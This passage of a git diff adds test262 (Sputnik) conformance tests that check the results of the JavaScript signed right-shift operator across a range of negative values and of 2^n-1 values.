+ $ERROR('#873: -256 >> 27 === -1. Actual: ' + (-256 >> 27));
+}
+
+
+if (-512 >> 27 !== -1) {
+ $ERROR('#874: -512 >> 27 === -1. Actual: ' + (-512 >> 27));
+}
+
+
+if (-1024 >> 27 !== -1) {
+ $ERROR('#875: -1024 >> 27 === -1. Actual: ' + (-1024 >> 27));
+}
+
+
+if (-2048 >> 27 !== -1) {
+ $ERROR('#876: -2048 >> 27 === -1. Actual: ' + (-2048 >> 27));
+}
+
+
+if (-4096 >> 27 !== -1) {
+ $ERROR('#877: -4096 >> 27 === -1. Actual: ' + (-4096 >> 27));
+}
+
+
+if (-8192 >> 27 !== -1) {
+ $ERROR('#878: -8192 >> 27 === -1. Actual: ' + (-8192 >> 27));
+}
+
+
+if (-16384 >> 27 !== -1) {
+ $ERROR('#879: -16384 >> 27 === -1. Actual: ' + (-16384 >> 27));
+}
+
+
+if (-32768 >> 27 !== -1) {
+ $ERROR('#880: -32768 >> 27 === -1. Actual: ' + (-32768 >> 27));
+}
+
+
+if (-65536 >> 27 !== -1) {
+ $ERROR('#881: -65536 >> 27 === -1. Actual: ' + (-65536 >> 27));
+}
+
+
+if (-131072 >> 27 !== -1) {
+ $ERROR('#882: -131072 >> 27 === -1. Actual: ' + (-131072 >> 27));
+}
+
+
+if (-262144 >> 27 !== -1) {
+ $ERROR('#883: -262144 >> 27 === -1. Actual: ' + (-262144 >> 27));
+}
+
+
+if (-524288 >> 27 !== -1) {
+ $ERROR('#884: -524288 >> 27 === -1. Actual: ' + (-524288 >> 27));
+}
+
+
+if (-1048576 >> 27 !== -1) {
+ $ERROR('#885: -1048576 >> 27 === -1. Actual: ' + (-1048576 >> 27));
+}
+
+
+if (-2097152 >> 27 !== -1) {
+ $ERROR('#886: -2097152 >> 27 === -1. Actual: ' + (-2097152 >> 27));
+}
+
+
+if (-4194304 >> 27 !== -1) {
+ $ERROR('#887: -4194304 >> 27 === -1. Actual: ' + (-4194304 >> 27));
+}
+
+
+if (-8388608 >> 27 !== -1) {
+ $ERROR('#888: -8388608 >> 27 === -1. Actual: ' + (-8388608 >> 27));
+}
+
+
+if (-16777216 >> 27 !== -1) {
+ $ERROR('#889: -16777216 >> 27 === -1. Actual: ' + (-16777216 >> 27));
+}
+
+
+if (-33554432 >> 27 !== -1) {
+ $ERROR('#890: -33554432 >> 27 === -1. Actual: ' + (-33554432 >> 27));
+}
+
+
+if (-67108864 >> 27 !== -1) {
+ $ERROR('#891: -67108864 >> 27 === -1. Actual: ' + (-67108864 >> 27));
+}
+
+
+if (-134217728 >> 27 !== -1) {
+ $ERROR('#892: -134217728 >> 27 === -1. Actual: ' + (-134217728 >> 27));
+}
+
+
+if (-268435456 >> 27 !== -2) {
+ $ERROR('#893: -268435456 >> 27 === -2. Actual: ' + (-268435456 >> 27));
+}
+
+
+if (-536870912 >> 27 !== -4) {
+ $ERROR('#894: -536870912 >> 27 === -4. Actual: ' + (-536870912 >> 27));
+}
+
+
+if (-1073741824 >> 27 !== -8) {
+ $ERROR('#895: -1073741824 >> 27 === -8. Actual: ' + (-1073741824 >> 27));
+}
+
+
+if (-2147483648 >> 27 !== -16) {
+ $ERROR('#896: -2147483648 >> 27 === -16. Actual: ' + (-2147483648 >> 27));
+}
+
+
+if (-1 >> 28 !== -1) {
+ $ERROR('#897: -1 >> 28 === -1. Actual: ' + (-1 >> 28));
+}
+
+
+if (-2 >> 28 !== -1) {
+ $ERROR('#898: -2 >> 28 === -1. Actual: ' + (-2 >> 28));
+}
+
+
+if (-4 >> 28 !== -1) {
+ $ERROR('#899: -4 >> 28 === -1. Actual: ' + (-4 >> 28));
+}
+
+
+if (-8 >> 28 !== -1) {
+ $ERROR('#900: -8 >> 28 === -1. Actual: ' + (-8 >> 28));
+}
+
+
+if (-16 >> 28 !== -1) {
+ $ERROR('#901: -16 >> 28 === -1. Actual: ' + (-16 >> 28));
+}
+
+
+if (-32 >> 28 !== -1) {
+ $ERROR('#902: -32 >> 28 === -1. Actual: ' + (-32 >> 28));
+}
+
+
+if (-64 >> 28 !== -1) {
+ $ERROR('#903: -64 >> 28 === -1. Actual: ' + (-64 >> 28));
+}
+
+
+if (-128 >> 28 !== -1) {
+ $ERROR('#904: -128 >> 28 === -1. Actual: ' + (-128 >> 28));
+}
+
+
+if (-256 >> 28 !== -1) {
+ $ERROR('#905: -256 >> 28 === -1. Actual: ' + (-256 >> 28));
+}
+
+
+if (-512 >> 28 !== -1) {
+ $ERROR('#906: -512 >> 28 === -1. Actual: ' + (-512 >> 28));
+}
+
+
+if (-1024 >> 28 !== -1) {
+ $ERROR('#907: -1024 >> 28 === -1. Actual: ' + (-1024 >> 28));
+}
+
+
+if (-2048 >> 28 !== -1) {
+ $ERROR('#908: -2048 >> 28 === -1. Actual: ' + (-2048 >> 28));
+}
+
+
+if (-4096 >> 28 !== -1) {
+ $ERROR('#909: -4096 >> 28 === -1. Actual: ' + (-4096 >> 28));
+}
+
+
+if (-8192 >> 28 !== -1) {
+ $ERROR('#910: -8192 >> 28 === -1. Actual: ' + (-8192 >> 28));
+}
+
+
+if (-16384 >> 28 !== -1) {
+ $ERROR('#911: -16384 >> 28 === -1. Actual: ' + (-16384 >> 28));
+}
+
+
+if (-32768 >> 28 !== -1) {
+ $ERROR('#912: -32768 >> 28 === -1. Actual: ' + (-32768 >> 28));
+}
+
+
+if (-65536 >> 28 !== -1) {
+ $ERROR('#913: -65536 >> 28 === -1. Actual: ' + (-65536 >> 28));
+}
+
+
+if (-131072 >> 28 !== -1) {
+ $ERROR('#914: -131072 >> 28 === -1. Actual: ' + (-131072 >> 28));
+}
+
+
+if (-262144 >> 28 !== -1) {
+ $ERROR('#915: -262144 >> 28 === -1. Actual: ' + (-262144 >> 28));
+}
+
+
+if (-524288 >> 28 !== -1) {
+ $ERROR('#916: -524288 >> 28 === -1. Actual: ' + (-524288 >> 28));
+}
+
+
+if (-1048576 >> 28 !== -1) {
+ $ERROR('#917: -1048576 >> 28 === -1. Actual: ' + (-1048576 >> 28));
+}
+
+
+if (-2097152 >> 28 !== -1) {
+ $ERROR('#918: -2097152 >> 28 === -1. Actual: ' + (-2097152 >> 28));
+}
+
+
+if (-4194304 >> 28 !== -1) {
+ $ERROR('#919: -4194304 >> 28 === -1. Actual: ' + (-4194304 >> 28));
+}
+
+
+if (-8388608 >> 28 !== -1) {
+ $ERROR('#920: -8388608 >> 28 === -1. Actual: ' + (-8388608 >> 28));
+}
+
+
+if (-16777216 >> 28 !== -1) {
+ $ERROR('#921: -16777216 >> 28 === -1. Actual: ' + (-16777216 >> 28));
+}
+
+
+if (-33554432 >> 28 !== -1) {
+ $ERROR('#922: -33554432 >> 28 === -1. Actual: ' + (-33554432 >> 28));
+}
+
+
+if (-67108864 >> 28 !== -1) {
+ $ERROR('#923: -67108864 >> 28 === -1. Actual: ' + (-67108864 >> 28));
+}
+
+
+if (-134217728 >> 28 !== -1) {
+ $ERROR('#924: -134217728 >> 28 === -1. Actual: ' + (-134217728 >> 28));
+}
+
+
+if (-268435456 >> 28 !== -1) {
+ $ERROR('#925: -268435456 >> 28 === -1. Actual: ' + (-268435456 >> 28));
+}
+
+
+if (-536870912 >> 28 !== -2) {
+ $ERROR('#926: -536870912 >> 28 === -2. Actual: ' + (-536870912 >> 28));
+}
+
+
+if (-1073741824 >> 28 !== -4) {
+ $ERROR('#927: -1073741824 >> 28 === -4. Actual: ' + (-1073741824 >> 28));
+}
+
+
+if (-2147483648 >> 28 !== -8) {
+ $ERROR('#928: -2147483648 >> 28 === -8. Actual: ' + (-2147483648 >> 28));
+}
+
+
+if (-1 >> 29 !== -1) {
+ $ERROR('#929: -1 >> 29 === -1. Actual: ' + (-1 >> 29));
+}
+
+
+if (-2 >> 29 !== -1) {
+ $ERROR('#930: -2 >> 29 === -1. Actual: ' + (-2 >> 29));
+}
+
+
+if (-4 >> 29 !== -1) {
+ $ERROR('#931: -4 >> 29 === -1. Actual: ' + (-4 >> 29));
+}
+
+
+if (-8 >> 29 !== -1) {
+ $ERROR('#932: -8 >> 29 === -1. Actual: ' + (-8 >> 29));
+}
+
+
+if (-16 >> 29 !== -1) {
+ $ERROR('#933: -16 >> 29 === -1. Actual: ' + (-16 >> 29));
+}
+
+
+if (-32 >> 29 !== -1) {
+ $ERROR('#934: -32 >> 29 === -1. Actual: ' + (-32 >> 29));
+}
+
+
+if (-64 >> 29 !== -1) {
+ $ERROR('#935: -64 >> 29 === -1. Actual: ' + (-64 >> 29));
+}
+
+
+if (-128 >> 29 !== -1) {
+ $ERROR('#936: -128 >> 29 === -1. Actual: ' + (-128 >> 29));
+}
+
+
+if (-256 >> 29 !== -1) {
+ $ERROR('#937: -256 >> 29 === -1. Actual: ' + (-256 >> 29));
+}
+
+
+if (-512 >> 29 !== -1) {
+ $ERROR('#938: -512 >> 29 === -1. Actual: ' + (-512 >> 29));
+}
+
+
+if (-1024 >> 29 !== -1) {
+ $ERROR('#939: -1024 >> 29 === -1. Actual: ' + (-1024 >> 29));
+}
+
+
+if (-2048 >> 29 !== -1) {
+ $ERROR('#940: -2048 >> 29 === -1. Actual: ' + (-2048 >> 29));
+}
+
+
+if (-4096 >> 29 !== -1) {
+ $ERROR('#941: -4096 >> 29 === -1. Actual: ' + (-4096 >> 29));
+}
+
+
+if (-8192 >> 29 !== -1) {
+ $ERROR('#942: -8192 >> 29 === -1. Actual: ' + (-8192 >> 29));
+}
+
+
+if (-16384 >> 29 !== -1) {
+ $ERROR('#943: -16384 >> 29 === -1. Actual: ' + (-16384 >> 29));
+}
+
+
+if (-32768 >> 29 !== -1) {
+ $ERROR('#944: -32768 >> 29 === -1. Actual: ' + (-32768 >> 29));
+}
+
+
+if (-65536 >> 29 !== -1) {
+ $ERROR('#945: -65536 >> 29 === -1. Actual: ' + (-65536 >> 29));
+}
+
+
+if (-131072 >> 29 !== -1) {
+ $ERROR('#946: -131072 >> 29 === -1. Actual: ' + (-131072 >> 29));
+}
+
+
+if (-262144 >> 29 !== -1) {
+ $ERROR('#947: -262144 >> 29 === -1. Actual: ' + (-262144 >> 29));
+}
+
+
+if (-524288 >> 29 !== -1) {
+ $ERROR('#948: -524288 >> 29 === -1. Actual: ' + (-524288 >> 29));
+}
+
+
+if (-1048576 >> 29 !== -1) {
+ $ERROR('#949: -1048576 >> 29 === -1. Actual: ' + (-1048576 >> 29));
+}
+
+
+if (-2097152 >> 29 !== -1) {
+ $ERROR('#950: -2097152 >> 29 === -1. Actual: ' + (-2097152 >> 29));
+}
+
+
+if (-4194304 >> 29 !== -1) {
+ $ERROR('#951: -4194304 >> 29 === -1. Actual: ' + (-4194304 >> 29));
+}
+
+
+if (-8388608 >> 29 !== -1) {
+ $ERROR('#952: -8388608 >> 29 === -1. Actual: ' + (-8388608 >> 29));
+}
+
+
+if (-16777216 >> 29 !== -1) {
+ $ERROR('#953: -16777216 >> 29 === -1. Actual: ' + (-16777216 >> 29));
+}
+
+
+if (-33554432 >> 29 !== -1) {
+ $ERROR('#954: -33554432 >> 29 === -1. Actual: ' + (-33554432 >> 29));
+}
+
+
+if (-67108864 >> 29 !== -1) {
+ $ERROR('#955: -67108864 >> 29 === -1. Actual: ' + (-67108864 >> 29));
+}
+
+
+if (-134217728 >> 29 !== -1) {
+ $ERROR('#956: -134217728 >> 29 === -1. Actual: ' + (-134217728 >> 29));
+}
+
+
+if (-268435456 >> 29 !== -1) {
+ $ERROR('#957: -268435456 >> 29 === -1. Actual: ' + (-268435456 >> 29));
+}
+
+
+if (-536870912 >> 29 !== -1) {
+ $ERROR('#958: -536870912 >> 29 === -1. Actual: ' + (-536870912 >> 29));
+}
+
+
+if (-1073741824 >> 29 !== -2) {
+ $ERROR('#959: -1073741824 >> 29 === -2. Actual: ' + (-1073741824 >> 29));
+}
+
+
+if (-2147483648 >> 29 !== -4) {
+ $ERROR('#960: -2147483648 >> 29 === -4. Actual: ' + (-2147483648 >> 29));
+}
+
+
+if (-1 >> 30 !== -1) {
+ $ERROR('#961: -1 >> 30 === -1. Actual: ' + (-1 >> 30));
+}
+
+
+if (-2 >> 30 !== -1) {
+ $ERROR('#962: -2 >> 30 === -1. Actual: ' + (-2 >> 30));
+}
+
+
+if (-4 >> 30 !== -1) {
+ $ERROR('#963: -4 >> 30 === -1. Actual: ' + (-4 >> 30));
+}
+
+
+if (-8 >> 30 !== -1) {
+ $ERROR('#964: -8 >> 30 === -1. Actual: ' + (-8 >> 30));
+}
+
+
+if (-16 >> 30 !== -1) {
+ $ERROR('#965: -16 >> 30 === -1. Actual: ' + (-16 >> 30));
+}
+
+
+if (-32 >> 30 !== -1) {
+ $ERROR('#966: -32 >> 30 === -1. Actual: ' + (-32 >> 30));
+}
+
+
+if (-64 >> 30 !== -1) {
+ $ERROR('#967: -64 >> 30 === -1. Actual: ' + (-64 >> 30));
+}
+
+
+if (-128 >> 30 !== -1) {
+ $ERROR('#968: -128 >> 30 === -1. Actual: ' + (-128 >> 30));
+}
+
+
+if (-256 >> 30 !== -1) {
+ $ERROR('#969: -256 >> 30 === -1. Actual: ' + (-256 >> 30));
+}
+
+
+if (-512 >> 30 !== -1) {
+ $ERROR('#970: -512 >> 30 === -1. Actual: ' + (-512 >> 30));
+}
+
+
+if (-1024 >> 30 !== -1) {
+ $ERROR('#971: -1024 >> 30 === -1. Actual: ' + (-1024 >> 30));
+}
+
+
+if (-2048 >> 30 !== -1) {
+ $ERROR('#972: -2048 >> 30 === -1. Actual: ' + (-2048 >> 30));
+}
+
+
+if (-4096 >> 30 !== -1) {
+ $ERROR('#973: -4096 >> 30 === -1. Actual: ' + (-4096 >> 30));
+}
+
+
+if (-8192 >> 30 !== -1) {
+ $ERROR('#974: -8192 >> 30 === -1. Actual: ' + (-8192 >> 30));
+}
+
+
+if (-16384 >> 30 !== -1) {
+ $ERROR('#975: -16384 >> 30 === -1. Actual: ' + (-16384 >> 30));
+}
+
+
+if (-32768 >> 30 !== -1) {
+ $ERROR('#976: -32768 >> 30 === -1. Actual: ' + (-32768 >> 30));
+}
+
+
+if (-65536 >> 30 !== -1) {
+ $ERROR('#977: -65536 >> 30 === -1. Actual: ' + (-65536 >> 30));
+}
+
+
+if (-131072 >> 30 !== -1) {
+ $ERROR('#978: -131072 >> 30 === -1. Actual: ' + (-131072 >> 30));
+}
+
+
+if (-262144 >> 30 !== -1) {
+ $ERROR('#979: -262144 >> 30 === -1. Actual: ' + (-262144 >> 30));
+}
+
+
+if (-524288 >> 30 !== -1) {
+ $ERROR('#980: -524288 >> 30 === -1. Actual: ' + (-524288 >> 30));
+}
+
+
+if (-1048576 >> 30 !== -1) {
+ $ERROR('#981: -1048576 >> 30 === -1. Actual: ' + (-1048576 >> 30));
+}
+
+
+if (-2097152 >> 30 !== -1) {
+ $ERROR('#982: -2097152 >> 30 === -1. Actual: ' + (-2097152 >> 30));
+}
+
+
+if (-4194304 >> 30 !== -1) {
+ $ERROR('#983: -4194304 >> 30 === -1. Actual: ' + (-4194304 >> 30));
+}
+
+
+if (-8388608 >> 30 !== -1) {
+ $ERROR('#984: -8388608 >> 30 === -1. Actual: ' + (-8388608 >> 30));
+}
+
+
+if (-16777216 >> 30 !== -1) {
+ $ERROR('#985: -16777216 >> 30 === -1. Actual: ' + (-16777216 >> 30));
+}
+
+
+if (-33554432 >> 30 !== -1) {
+ $ERROR('#986: -33554432 >> 30 === -1. Actual: ' + (-33554432 >> 30));
+}
+
+
+if (-67108864 >> 30 !== -1) {
+ $ERROR('#987: -67108864 >> 30 === -1. Actual: ' + (-67108864 >> 30));
+}
+
+
+if (-134217728 >> 30 !== -1) {
+ $ERROR('#988: -134217728 >> 30 === -1. Actual: ' + (-134217728 >> 30));
+}
+
+
+if (-268435456 >> 30 !== -1) {
+ $ERROR('#989: -268435456 >> 30 === -1. Actual: ' + (-268435456 >> 30));
+}
+
+
+if (-536870912 >> 30 !== -1) {
+ $ERROR('#990: -536870912 >> 30 === -1. Actual: ' + (-536870912 >> 30));
+}
+
+
+if (-1073741824 >> 30 !== -1) {
+ $ERROR('#991: -1073741824 >> 30 === -1. Actual: ' + (-1073741824 >> 30));
+}
+
+
+if (-2147483648 >> 30 !== -2) {
+ $ERROR('#992: -2147483648 >> 30 === -2. Actual: ' + (-2147483648 >> 30));
+}
+
+
+if (-1 >> 31 !== -1) {
+ $ERROR('#993: -1 >> 31 === -1. Actual: ' + (-1 >> 31));
+}
+
+
+if (-2 >> 31 !== -1) {
+ $ERROR('#994: -2 >> 31 === -1. Actual: ' + (-2 >> 31));
+}
+
+
+if (-4 >> 31 !== -1) {
+ $ERROR('#995: -4 >> 31 === -1. Actual: ' + (-4 >> 31));
+}
+
+
+if (-8 >> 31 !== -1) {
+ $ERROR('#996: -8 >> 31 === -1. Actual: ' + (-8 >> 31));
+}
+
+
+if (-16 >> 31 !== -1) {
+ $ERROR('#997: -16 >> 31 === -1. Actual: ' + (-16 >> 31));
+}
+
+
+if (-32 >> 31 !== -1) {
+ $ERROR('#998: -32 >> 31 === -1. Actual: ' + (-32 >> 31));
+}
+
+
+if (-64 >> 31 !== -1) {
+ $ERROR('#999: -64 >> 31 === -1. Actual: ' + (-64 >> 31));
+}
+
+
+if (-128 >> 31 !== -1) {
+ $ERROR('#1000: -128 >> 31 === -1. Actual: ' + (-128 >> 31));
+}
+
+
+if (-256 >> 31 !== -1) {
+ $ERROR('#1001: -256 >> 31 === -1. Actual: ' + (-256 >> 31));
+}
+
+
+if (-512 >> 31 !== -1) {
+ $ERROR('#1002: -512 >> 31 === -1. Actual: ' + (-512 >> 31));
+}
+
+
+if (-1024 >> 31 !== -1) {
+ $ERROR('#1003: -1024 >> 31 === -1. Actual: ' + (-1024 >> 31));
+}
+
+
+if (-2048 >> 31 !== -1) {
+ $ERROR('#1004: -2048 >> 31 === -1. Actual: ' + (-2048 >> 31));
+}
+
+
+if (-4096 >> 31 !== -1) {
+ $ERROR('#1005: -4096 >> 31 === -1. Actual: ' + (-4096 >> 31));
+}
+
+
+if (-8192 >> 31 !== -1) {
+ $ERROR('#1006: -8192 >> 31 === -1. Actual: ' + (-8192 >> 31));
+}
+
+
+if (-16384 >> 31 !== -1) {
+ $ERROR('#1007: -16384 >> 31 === -1. Actual: ' + (-16384 >> 31));
+}
+
+
+if (-32768 >> 31 !== -1) {
+ $ERROR('#1008: -32768 >> 31 === -1. Actual: ' + (-32768 >> 31));
+}
+
+
+if (-65536 >> 31 !== -1) {
+ $ERROR('#1009: -65536 >> 31 === -1. Actual: ' + (-65536 >> 31));
+}
+
+
+if (-131072 >> 31 !== -1) {
+ $ERROR('#1010: -131072 >> 31 === -1. Actual: ' + (-131072 >> 31));
+}
+
+
+if (-262144 >> 31 !== -1) {
+ $ERROR('#1011: -262144 >> 31 === -1. Actual: ' + (-262144 >> 31));
+}
+
+
+if (-524288 >> 31 !== -1) {
+ $ERROR('#1012: -524288 >> 31 === -1. Actual: ' + (-524288 >> 31));
+}
+
+
+if (-1048576 >> 31 !== -1) {
+ $ERROR('#1013: -1048576 >> 31 === -1. Actual: ' + (-1048576 >> 31));
+}
+
+
+if (-2097152 >> 31 !== -1) {
+ $ERROR('#1014: -2097152 >> 31 === -1. Actual: ' + (-2097152 >> 31));
+}
+
+
+if (-4194304 >> 31 !== -1) {
+ $ERROR('#1015: -4194304 >> 31 === -1. Actual: ' + (-4194304 >> 31));
+}
+
+
+if (-8388608 >> 31 !== -1) {
+ $ERROR('#1016: -8388608 >> 31 === -1. Actual: ' + (-8388608 >> 31));
+}
+
+
+if (-16777216 >> 31 !== -1) {
+ $ERROR('#1017: -16777216 >> 31 === -1. Actual: ' + (-16777216 >> 31));
+}
+
+
+if (-33554432 >> 31 !== -1) {
+ $ERROR('#1018: -33554432 >> 31 === -1. Actual: ' + (-33554432 >> 31));
+}
+
+
+if (-67108864 >> 31 !== -1) {
+ $ERROR('#1019: -67108864 >> 31 === -1. Actual: ' + (-67108864 >> 31));
+}
+
+
+if (-134217728 >> 31 !== -1) {
+ $ERROR('#1020: -134217728 >> 31 === -1. Actual: ' + (-134217728 >> 31));
+}
+
+
+if (-268435456 >> 31 !== -1) {
+ $ERROR('#1021: -268435456 >> 31 === -1. Actual: ' + (-268435456 >> 31));
+}
+
+
+if (-536870912 >> 31 !== -1) {
+ $ERROR('#1022: -536870912 >> 31 === -1. Actual: ' + (-536870912 >> 31));
+}
+
+
+if (-1073741824 >> 31 !== -1) {
+ $ERROR('#1023: -1073741824 >> 31 === -1. Actual: ' + (-1073741824 >> 31));
+}
+
+
+if (-2147483648 >> 31 !== -1) {
+ $ERROR('#1024: -2147483648 >> 31 === -1. Actual: ' + (-2147483648 >> 31));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A4_T3.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A4_T3.js
new file mode 100644
index 000000000..40f8d686d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A4_T3.js
@@ -0,0 +1,2571 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check x >> y operator in distinct points
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A4_T3.js
+ * @description ShiftExpression = 2^n - 1, n = 0...15
+ */
+
+//CHECK
+
+if (0 >> 0 !== 0) {
+ $ERROR('#1: 0 >> 0 === 0. Actual: ' + (0 >> 0));
+}
+
+
+if (1 >> 0 !== 1) {
+ $ERROR('#2: 1 >> 0 === 1. Actual: ' + (1 >> 0));
+}
+
+
+if (3 >> 0 !== 3) {
+ $ERROR('#3: 3 >> 0 === 3. Actual: ' + (3 >> 0));
+}
+
+
+if (7 >> 0 !== 7) {
+ $ERROR('#4: 7 >> 0 === 7. Actual: ' + (7 >> 0));
+}
+
+
+if (15 >> 0 !== 15) {
+ $ERROR('#5: 15 >> 0 === 15. Actual: ' + (15 >> 0));
+}
+
+
+if (31 >> 0 !== 31) {
+ $ERROR('#6: 31 >> 0 === 31. Actual: ' + (31 >> 0));
+}
+
+
+if (63 >> 0 !== 63) {
+ $ERROR('#7: 63 >> 0 === 63. Actual: ' + (63 >> 0));
+}
+
+
+if (127 >> 0 !== 127) {
+ $ERROR('#8: 127 >> 0 === 127. Actual: ' + (127 >> 0));
+}
+
+
+if (255 >> 0 !== 255) {
+ $ERROR('#9: 255 >> 0 === 255. Actual: ' + (255 >> 0));
+}
+
+
+if (511 >> 0 !== 511) {
+ $ERROR('#10: 511 >> 0 === 511. Actual: ' + (511 >> 0));
+}
+
+
+if (1023 >> 0 !== 1023) {
+ $ERROR('#11: 1023 >> 0 === 1023. Actual: ' + (1023 >> 0));
+}
+
+
+if (2047 >> 0 !== 2047) {
+ $ERROR('#12: 2047 >> 0 === 2047. Actual: ' + (2047 >> 0));
+}
+
+
+if (4095 >> 0 !== 4095) {
+ $ERROR('#13: 4095 >> 0 === 4095. Actual: ' + (4095 >> 0));
+}
+
+
+if (8191 >> 0 !== 8191) {
+ $ERROR('#14: 8191 >> 0 === 8191. Actual: ' + (8191 >> 0));
+}
+
+
+if (16383 >> 0 !== 16383) {
+ $ERROR('#15: 16383 >> 0 === 16383. Actual: ' + (16383 >> 0));
+}
+
+
+if (32767 >> 0 !== 32767) {
+ $ERROR('#16: 32767 >> 0 === 32767. Actual: ' + (32767 >> 0));
+}
+
+
+if (65535 >> 0 !== 65535) {
+ $ERROR('#17: 65535 >> 0 === 65535. Actual: ' + (65535 >> 0));
+}
+
+
+if (131071 >> 0 !== 131071) {
+ $ERROR('#18: 131071 >> 0 === 131071. Actual: ' + (131071 >> 0));
+}
+
+
+if (262143 >> 0 !== 262143) {
+ $ERROR('#19: 262143 >> 0 === 262143. Actual: ' + (262143 >> 0));
+}
+
+
+if (524287 >> 0 !== 524287) {
+ $ERROR('#20: 524287 >> 0 === 524287. Actual: ' + (524287 >> 0));
+}
+
+
+if (1048575 >> 0 !== 1048575) {
+ $ERROR('#21: 1048575 >> 0 === 1048575. Actual: ' + (1048575 >> 0));
+}
+
+
+if (2097151 >> 0 !== 2097151) {
+ $ERROR('#22: 2097151 >> 0 === 2097151. Actual: ' + (2097151 >> 0));
+}
+
+
+if (4194303 >> 0 !== 4194303) {
+ $ERROR('#23: 4194303 >> 0 === 4194303. Actual: ' + (4194303 >> 0));
+}
+
+
+if (8388607 >> 0 !== 8388607) {
+ $ERROR('#24: 8388607 >> 0 === 8388607. Actual: ' + (8388607 >> 0));
+}
+
+
+if (16777215 >> 0 !== 16777215) {
+ $ERROR('#25: 16777215 >> 0 === 16777215. Actual: ' + (16777215 >> 0));
+}
+
+
+if (33554431 >> 0 !== 33554431) {
+ $ERROR('#26: 33554431 >> 0 === 33554431. Actual: ' + (33554431 >> 0));
+}
+
+
+if (67108863 >> 0 !== 67108863) {
+ $ERROR('#27: 67108863 >> 0 === 67108863. Actual: ' + (67108863 >> 0));
+}
+
+
+if (134217727 >> 0 !== 134217727) {
+ $ERROR('#28: 134217727 >> 0 === 134217727. Actual: ' + (134217727 >> 0));
+}
+
+
+if (268435455 >> 0 !== 268435455) {
+ $ERROR('#29: 268435455 >> 0 === 268435455. Actual: ' + (268435455 >> 0));
+}
+
+
+if (536870911 >> 0 !== 536870911) {
+ $ERROR('#30: 536870911 >> 0 === 536870911. Actual: ' + (536870911 >> 0));
+}
+
+
+if (1073741823 >> 0 !== 1073741823) {
+ $ERROR('#31: 1073741823 >> 0 === 1073741823. Actual: ' + (1073741823 >> 0));
+}
+
+
+if (2147483647 >> 0 !== 2147483647) {
+ $ERROR('#32: 2147483647 >> 0 === 2147483647. Actual: ' + (2147483647 >> 0));
+}
+
+
+if (0 >> 1 !== 0) {
+ $ERROR('#33: 0 >> 1 === 0. Actual: ' + (0 >> 1));
+}
+
+
+if (1 >> 1 !== 0) {
+ $ERROR('#34: 1 >> 1 === 0. Actual: ' + (1 >> 1));
+}
+
+
+if (3 >> 1 !== 1) {
+ $ERROR('#35: 3 >> 1 === 1. Actual: ' + (3 >> 1));
+}
+
+
+if (7 >> 1 !== 3) {
+ $ERROR('#36: 7 >> 1 === 3. Actual: ' + (7 >> 1));
+}
+
+
+if (15 >> 1 !== 7) {
+ $ERROR('#37: 15 >> 1 === 7. Actual: ' + (15 >> 1));
+}
+
+
+if (31 >> 1 !== 15) {
+ $ERROR('#38: 31 >> 1 === 15. Actual: ' + (31 >> 1));
+}
+
+
+if (63 >> 1 !== 31) {
+ $ERROR('#39: 63 >> 1 === 31. Actual: ' + (63 >> 1));
+}
+
+
+if (127 >> 1 !== 63) {
+ $ERROR('#40: 127 >> 1 === 63. Actual: ' + (127 >> 1));
+}
+
+
+if (255 >> 1 !== 127) {
+ $ERROR('#41: 255 >> 1 === 127. Actual: ' + (255 >> 1));
+}
+
+
+if (511 >> 1 !== 255) {
+ $ERROR('#42: 511 >> 1 === 255. Actual: ' + (511 >> 1));
+}
+
+
+if (1023 >> 1 !== 511) {
+ $ERROR('#43: 1023 >> 1 === 511. Actual: ' + (1023 >> 1));
+}
+
+
+if (2047 >> 1 !== 1023) {
+ $ERROR('#44: 2047 >> 1 === 1023. Actual: ' + (2047 >> 1));
+}
+
+
+if (4095 >> 1 !== 2047) {
+ $ERROR('#45: 4095 >> 1 === 2047. Actual: ' + (4095 >> 1));
+}
+
+
+if (8191 >> 1 !== 4095) {
+ $ERROR('#46: 8191 >> 1 === 4095. Actual: ' + (8191 >> 1));
+}
+
+
+if (16383 >> 1 !== 8191) {
+ $ERROR('#47: 16383 >> 1 === 8191. Actual: ' + (16383 >> 1));
+}
+
+
+if (32767 >> 1 !== 16383) {
+ $ERROR('#48: 32767 >> 1 === 16383. Actual: ' + (32767 >> 1));
+}
+
+
+if (65535 >> 1 !== 32767) {
+ $ERROR('#49: 65535 >> 1 === 32767. Actual: ' + (65535 >> 1));
+}
+
+
+if (131071 >> 1 !== 65535) {
+ $ERROR('#50: 131071 >> 1 === 65535. Actual: ' + (131071 >> 1));
+}
+
+
+if (262143 >> 1 !== 131071) {
+ $ERROR('#51: 262143 >> 1 === 131071. Actual: ' + (262143 >> 1));
+}
+
+
+if (524287 >> 1 !== 262143) {
+ $ERROR('#52: 524287 >> 1 === 262143. Actual: ' + (524287 >> 1));
+}
+
+
+if (1048575 >> 1 !== 524287) {
+ $ERROR('#53: 1048575 >> 1 === 524287. Actual: ' + (1048575 >> 1));
+}
+
+
+if (2097151 >> 1 !== 1048575) {
+ $ERROR('#54: 2097151 >> 1 === 1048575. Actual: ' + (2097151 >> 1));
+}
+
+
+if (4194303 >> 1 !== 2097151) {
+ $ERROR('#55: 4194303 >> 1 === 2097151. Actual: ' + (4194303 >> 1));
+}
+
+
+if (8388607 >> 1 !== 4194303) {
+ $ERROR('#56: 8388607 >> 1 === 4194303. Actual: ' + (8388607 >> 1));
+}
+
+
+if (16777215 >> 1 !== 8388607) {
+ $ERROR('#57: 16777215 >> 1 === 8388607. Actual: ' + (16777215 >> 1));
+}
+
+
+if (33554431 >> 1 !== 16777215) {
+ $ERROR('#58: 33554431 >> 1 === 16777215. Actual: ' + (33554431 >> 1));
+}
+
+
+if (67108863 >> 1 !== 33554431) {
+ $ERROR('#59: 67108863 >> 1 === 33554431. Actual: ' + (67108863 >> 1));
+}
+
+
+if (134217727 >> 1 !== 67108863) {
+ $ERROR('#60: 134217727 >> 1 === 67108863. Actual: ' + (134217727 >> 1));
+}
+
+
+if (268435455 >> 1 !== 134217727) {
+ $ERROR('#61: 268435455 >> 1 === 134217727. Actual: ' + (268435455 >> 1));
+}
+
+
+if (536870911 >> 1 !== 268435455) {
+ $ERROR('#62: 536870911 >> 1 === 268435455. Actual: ' + (536870911 >> 1));
+}
+
+
